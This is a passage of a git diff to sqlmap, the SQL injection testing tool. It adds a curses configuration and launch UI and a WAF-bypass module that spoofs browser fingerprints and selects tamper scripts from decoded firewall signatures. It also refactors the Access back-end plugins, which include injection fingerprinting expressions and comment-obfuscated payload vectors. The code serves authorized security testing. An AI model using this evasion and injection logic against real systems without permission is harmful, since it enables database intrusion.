int(buffer) if buffer else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(buffer) if buffer else None + except ValueError: + option['value'] = None + else: + option['value'] = buffer if buffer else None + + input_win.clear() + input_win.refresh() + del input_win + + def _export_config(self): + """Export current configuration to a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Export Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename: + # Collect all field values + config = {} + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) + + # Save config + try: + saveConfig(config, filename) + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Export Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Configuration exported to:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Export Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _import_config(self): + """Import configuration from a file""" + height, width = self.stdscr.getmaxyx() + + # Create input window + input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.box() + input_win.attron(curses.color_pair(2)) + input_win.addstr(0, 2, " Import Configuration ") + input_win.attroff(curses.color_pair(2)) + input_win.addstr(2, 2, "File:") + input_win.refresh() + + # Get input + curses.echo() + curses.curs_set(1) + + try: + filename = input_win.getstr(2, 8, width - 32).decode('utf-8').strip() + + if filename and os.path.isfile(filename): + try: + # Read config file + config = _configparser.ConfigParser() + config.read(filename) + + imported_count = 0 + + # Load values into fields + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + + # Search for option in all sections + for section in config.sections(): + if config.has_option(section, dest): + value = config.get(section, dest) + + # Convert based on type + if option['type'] == 'bool': + option['value'] = value.lower() in ('true', '1', 'yes', 'on') + elif option['type'] == 'int': + try: + option['value'] = int(value) if value else None + except ValueError: + option['value'] = None + elif option['type'] == 'float': + try: + option['value'] = float(value) if value else None + except ValueError: + option['value'] = None + else: + option['value'] = value if value else None + + imported_count += 1 + break + + # Show success message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(5)) + input_win.addstr(0, 2, " Import Successful ") + input_win.attroff(curses.color_pair(5)) + input_win.addstr(2, 2, "Imported %d options from:" % imported_count) + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + + except Exception as ex: + # Show error message + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " Import Failed ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, str(getSafeExString(ex))[:width - 26]) + input_win.refresh() + curses.napms(2000) + elif filename: + # File not found + input_win.clear() + input_win.box() + input_win.attron(curses.color_pair(6)) + input_win.addstr(0, 2, " File Not Found ") + input_win.attroff(curses.color_pair(6)) + input_win.addstr(2, 2, "File does not exist:") + input_win.addstr(3, 2, filename[:width - 26]) + input_win.refresh() + curses.napms(2000) + except: + pass + + curses.noecho() + curses.curs_set(0) + + # Clear input window + input_win.clear() + input_win.refresh() + del input_win + + def _run_sqlmap(self): + """Run sqlmap with current configuration""" + config = {} + + # Collect all field values + for tab in self.tabs: + for option in tab['options']: + dest = option['dest'] + value = option['value'] if option['value'] is not None else option.get('default') + + if option['type'] == 'bool': + config[dest] = bool(value) + elif option['type'] == 'int': + config[dest] = int(value) if value else None + elif option['type'] == 'float': + config[dest] = float(value) if value else None + else: + config[dest] = value + + # Set defaults for unset options + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) + + # Create temp config file + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + + saveConfig(config, configFile) + + # Show console + self._show_console(configFile) + + def _show_console(self, configFile): + """Show console output from sqlmap""" + height, width = self.stdscr.getmaxyx() + + # Create console window + console_win = curses.newwin(height - 4, width - 4, 2, 2) + console_win.box() + console_win.attron(curses.color_pair(2)) + console_win.addstr(0, 2, " sqlmap Console - Press Q to close ") + console_win.attroff(curses.color_pair(2)) + console_win.refresh() + + # Create output area + output_win = console_win.derwin(height - 8, width - 8, 2, 2) + output_win.scrollok(True) + output_win.idlok(True) + + # Start sqlmap process + try: + process = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=1, + close_fds=not IS_WIN + ) + + if not IS_WIN: + # Make it non-blocking + import fcntl + flags = fcntl.fcntl(process.stdout, fcntl.F_GETFL) + fcntl.fcntl(process.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK) + + output_win.nodelay(True) + console_win.nodelay(True) + + lines = [] + current_line = "" + + while True: + # Check for user input + try: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + # Kill process + process.terminate() + break + elif key == curses.KEY_ENTER or key == 10: + # Send newline to process + if process.poll() is None: + try: + process.stdin.write(b'\n') + process.stdin.flush() + except: + pass + except: + pass + + # Read output + try: + chunk = process.stdout.read(1024) + if chunk: + current_line += chunk.decode('utf-8', errors='ignore') + + # Split into lines + while '\n' in current_line: + line, current_line = current_line.split('\n', 1) + lines.append(line) + + # Keep only last N lines + if len(lines) > 1000: + lines = lines[-1000:] + + # Display lines + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + output_win.refresh() + console_win.refresh() + except: + pass + + # Check if process ended + if process.poll() is not None: + # Read remaining output + try: + remaining = process.stdout.read() + if remaining: + current_line += remaining.decode('utf-8', errors='ignore') + for line in current_line.split('\n'): + if line: + lines.append(line) + except: + pass + + # Display final output + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + + output_win.addstr(height - 9, 0, "--- Process finished. Press Q to close ---") + output_win.refresh() + console_win.refresh() + + # Wait for Q + console_win.nodelay(False) + while True: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + break + + break + + # Small delay + curses.napms(50) + + except Exception as ex: + output_win.addstr(0, 0, "Error: %s" % getSafeExString(ex)) + output_win.refresh() + console_win.nodelay(False) + console_win.getch() + + finally: + # Clean up + try: + os.unlink(configFile) + except: + pass + + console_win.nodelay(False) + output_win.nodelay(False) + del output_win + del console_win + + def run(self): + """Main UI loop""" + while True: + self.stdscr.clear() + + # Draw UI + self._draw_header() + self._draw_tabs() + self._draw_current_tab() + self._draw_command() + self._draw_footer() + + self.stdscr.refresh() + + # Get input + key = self.stdscr.getch() + + tab = self.tabs[self.current_tab] + + # Handle input + if key == curses.KEY_F10: # F10 quits; Esc intentionally does NOT (it only cancels field edits) + break + elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow + self.current_tab = (self.current_tab + 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_LEFT: # Left arrow + self.current_tab = (self.current_tab - 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_UP: # Up arrow + if self.current_field > 0: + self.current_field -= 1 + # Adjust scroll if needed + if self.current_field < self.scroll_offset: + self.scroll_offset = self.current_field + elif key == curses.KEY_DOWN: # Down arrow + if self.current_field < len(tab['options']) - 1: + self.current_field += 1 + # Adjust scroll if needed + height, width = self.stdscr.getmaxyx() + visible_lines = height - 8 + if self.current_field >= self.scroll_offset + visible_lines: + self.scroll_offset = self.current_field - visible_lines + 1 + elif key == curses.KEY_ENTER or key == 10 or key == 13: # Enter + self._edit_field() + elif key == curses.KEY_F2: # F2 to run + self._run_sqlmap() + elif key == curses.KEY_F3: # F3 to export + self._export_config() + elif key == curses.KEY_F4: # F4 to import + self._import_config() + elif key == ord(' '): # Space for boolean toggle + option = tab['options'][self.current_field] + if option['type'] == 'bool': + option['value'] = not option['value'] + +def runTui(parser): + """Main entry point for ncurses TUI""" + # Check if ncurses is available + if curses is None: + raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + # ncurses waits ESCDELAY ms (default 1000) after Esc to disambiguate escape sequences, which + # makes Esc feel like it hangs for ~1s; shrink it so Esc reacts immediately + os.environ.setdefault("ESCDELAY", "25") + try: + # Initialize and run + def main(stdscr): + if hasattr(curses, "set_escdelay"): + try: + curses.set_escdelay(25) + except curses.error: + pass + ui = NcursesUI(stdscr, parser) + ui.run() + + curses.wrapper(main) + + except Exception as ex: + errMsg = "unable to create ncurses UI ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index a1cd1175ac2..d54a313aca3 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,23 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import sys +import time PYVERSION = sys.version.split()[0] -if PYVERSION >= "3" or PYVERSION < "2.6": - exit("[CRITICAL] incompatible Python version detected ('%s'). For successfully running sqlmap you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) +if PYVERSION < "2.7": + sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) -extensions = ("gzip", "ssl", "sqlite3", "zlib") -try: - for _ in extensions: +errors = [] +extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") +for _ in extensions: + try: __import__(_) -except ImportError: - errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in extensions)) - errMsg += "most probably because current version of Python has been " - errMsg += "built without appropriate dev packages (e.g. 'libsqlite3-dev')" - exit(errMsg) \ No newline at end of file + except ImportError: + errors.append(_) + +if errors: + errMsg = "[%s] [CRITICAL] missing one or more core extensions (%s) " % (time.strftime("%X"), ", ".join("'%s'" % _ for _ in errors)) + errMsg += "most likely because current version of Python has been " + errMsg += "built without appropriate dev packages" + sys.exit(errMsg) diff --git a/lib/utils/wafbypass.py b/lib/utils/wafbypass.py new file mode 100644 index 00000000000..a16f99afb1a --- /dev/null +++ b/lib/utils/wafbypass.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import os +import struct +import sys + +from lib.core.common import fetchRandomAgent +from lib.core.data import conf +from lib.core.data import paths +from lib.core.enums import HTTP_HEADER +from lib.core.enums import PLACE +from lib.core.settings import WAF_BYPASS_HTTP_HEADERS +from lib.core.settings import WAF_BYPASS_TAMPERS + + +def neutralizeFingerprint(): + """ + Makes the request look like a real browser (random non-scanner User-Agent from the canonical + 'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language), + used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT] + (queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent + and the HTTP header list are updated too. Returns the previous state so the change can be reverted. + """ + + saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT)) + + userAgent = fetchRandomAgent() + + conf.agent = userAgent + if PLACE.USER_AGENT in conf.parameters: + conf.parameters[PLACE.USER_AGENT] = userAgent + + overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS)) + upper = dict((_.upper(), _) for _ in overrides) + headers, seen = [], set() + for header, hvalue in conf.httpHeaders: + if header.upper() in upper: + headers.append((header, overrides[upper[header.upper()]])) + seen.add(header.upper()) + else: + headers.append((header, hvalue)) + for header, hvalue in overrides.items(): + if header.upper() not in seen: + headers.append((header, hvalue)) + conf.httpHeaders = headers + + return saved + +# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation +# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py: +# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore +# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking +# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions +# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance). +_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13) # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*" + +_DATA = None + + +def _data(): + global _DATA + if _DATA is None: + path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json") + with open(path, "rb") as f: + _DATA = json.loads(f.read().decode("utf-8")) + return _DATA + + +def identYwafBlockedVectors(wafName): + """ + Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded + from its bundled blind signatures (majority vote across signature variants). Empty set if the + WAF/signatures are unknown. + + >>> isinstance(identYwafBlockedVectors("cloudflare"), set) + True + """ + + retVal = set() + + wafs = _data().get("wafs", {}) + info = wafs.get(wafName) or wafs.get((wafName or "").lower()) + if not info: + return retVal + + expected = len(_data().get("payloads", [])) + counts, total = {}, 0 + for signature in info.get("signatures", []): + try: + raw = base64.b64decode(signature.split(':', 1)[-1]) + except Exception: + continue + words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else () + if len(words) != expected: # only consider signatures over the current vector set + continue + total += 1 + for index, word in enumerate(words): + if word & 1: + counts[index] = counts.get(index, 0) + 1 + + if total: + retVal = set(index for index, c in counts.items() if c * 2 >= total) # blocked in a majority of variants + + return retVal + + +def candidateTampers(identifiedWafs=None): + """ + Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the + empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the + identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on + tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by + re-running detection through each candidate, so no DBMS pre-filtering is needed here. + + >>> "between" in candidateTampers() + True + >>> "equaltolike" in candidateTampers() + True + """ + + retVal = list(WAF_BYPASS_TAMPERS) + + blocked = set() + for waf in (identifiedWafs or []): + blocked |= identYwafBlockedVectors(waf) + + if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS): + retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"] + + return retVal + + +def loadTamper(name): + """ + Imports a tamper script by name from the tamper directory and returns its 'tamper' function + (or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use. + """ + + dirname = paths.SQLMAP_TAMPER_PATH + if dirname not in sys.path: + sys.path.insert(0, dirname) + + module = __import__(str(name)) + function = getattr(module, "tamper", None) + if function is not None: + function.__name__ = name + + return function diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index c5931b5d4f2..19aa9713b28 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,15 +1,33 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import numbers + class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ + >>> list(xrange(1, 9)) == list(range(1, 9)) + True + >>> list(xrange(8, 0, -16)) == list(range(8, 0, -16)) + True + >>> list(xrange(0, 8, 16)) == list(range(0, 8, 16)) + True + >>> list(xrange(0, 4, 5)) == list(range(0, 4, 5)) + True + >>> list(xrange(4, 0, 3)) == list(range(4, 0, 3)) + True + >>> list(xrange(0, -3)) == list(range(0, -3)) + True + >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2)) + True + >>> list(xrange(8, 0, -2)) == list(range(8, 0, -2)) + True >>> foobar = xrange(1, 10) >>> 7 in foobar True @@ -17,6 +35,12 @@ class xrange(object): False >>> foobar[0] 1 + >>> 6 in xrange(8, 0, -2) + True + >>> 0 in xrange(8, 0, -2) + False + >>> xrange(0, 10, 2).index(4) + 2 """ __slots__ = ['_slice'] @@ -48,29 +72,31 @@ def step(self): def __hash__(self): return hash(self._slice) - def __cmp__(self, other): - return (cmp(type(self), type(other)) or - cmp(self._slice, other._slice)) - def __repr__(self): - return '%s(%r, %r, %r)' % (type(self).__name__, - self.start, self.stop, self.step) + return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) def __len__(self): return self._len() def _len(self): - return max(0, int((self.stop - self.start) / self.step)) + if self.step > 0: + lo, hi, step = self.start, self.stop, self.step + else: # Note: normalizing for descending ranges (negative step) + lo, hi, step = self.stop, self.start, -self.step + return max(0, (hi - lo + step - 1) // step) def __contains__(self, value): - return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 + if self.step > 0: + return self.start <= value < self.stop and (value - self.start) % self.step == 0 + else: + return self.stop < value <= self.start and (value - self.start) % self.step == 0 def __getitem__(self, index): if isinstance(index, slice): start, stop, step = index.indices(self._len()) return xrange(self._index(start), - self._index(stop), step*self.step) - elif isinstance(index, (int, long)): + self._index(stop), step * self.step) + elif isinstance(index, numbers.Integral): if index < 0: fixed_index = index + self._len() else: @@ -85,3 +111,9 @@ def __getitem__(self, index): def _index(self, i): return self.start + self.step * i + + def index(self, i): + if i in self: + return (i - self.start) // self.step # Note: also accounts for step != 1 (and descending ranges) + else: + raise ValueError("%d is not in list" % i) diff --git a/plugins/__init__.py b/plugins/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index bfb66e57ee9..fbb3a131c46 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -23,11 +23,7 @@ class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 03bcce91eba..c1313bbf33d 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,17 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import pyodbc -except ImportError: +except: pass import logging +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -21,16 +22,12 @@ class Connector(GenericConnector): """ - Homepage: http://pyodbc.googlecode.com/ - User guide: http://code.google.com/p/pyodbc/wiki/GettingStarted - API: http://code.google.com/p/pyodbc/w/list + Homepage: https://github.com/mkleehammer/pyodbc + User guide: https://github.com/mkleehammer/pyodbc/wiki Debian package: python-pyodbc License: MIT """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " @@ -41,9 +38,11 @@ def connect(self): self.checkFileDb() try: - self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) - except (pyodbc.Error, pyodbc.OperationalError), msg: - raise SqlmapConnectionException(msg[1]) + # ACE driver ('*.mdb, *.accdb') handles both legacy Jet .mdb and modern .accdb (the old '*.mdb'-only + # Jet driver is 32-bit-only and absent on modern installs); honor supplied credentials, not Admin/empty + self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=%s;Uid=%s;Pwd=%s;' % (self.db, self.user or "Admin", self.password or "")) + except (pyodbc.Error, pyodbc.OperationalError) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() @@ -51,17 +50,17 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except pyodbc.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except pyodbc.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) - except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) - except pyodbc.Error, msg: - raise SqlmapConnectionException(msg[1]) + except (pyodbc.OperationalError, pyodbc.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pyodbc.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 1dc5bd99181..806049186a0 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,81 +1,84 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): - warnMsg = "on Microsoft Access it is not possible to get a banner" - logger.warn(warnMsg) + warnMsg = "on Microsoft Access it is not possible to get the banner" + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) - def isDba(self): + def isDba(self, user=None): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index ee471df2fbd..bb8c17d1ec8 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 2cbe128358b..e542e889ece 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -48,11 +48,12 @@ def _sysTablesCheck(self): # Microsoft Access table reference updated on 01/2010 sysTables = { - "97": ("MSysModules2", "MSysAccessObjects"), - "2000" : ("!MSysModules2", "MSysAccessObjects"), - "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), - "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"), - } + "97": ("MSysModules2", "MSysAccessObjects"), + "2000": ("!MSysModules2", "MSysAccessObjects"), + "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), + "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"), + } + # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") @@ -94,7 +95,7 @@ def _getDatabaseDir(self): if wasLastResponseDBMSError(): threadData = getCurrentThreadData() - match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) + match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) @@ -128,13 +129,14 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -146,7 +148,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True @@ -160,11 +162,11 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) - result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = inject.checkBooleanExpression("IIF(ATN(2) IS NOT NULL,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False 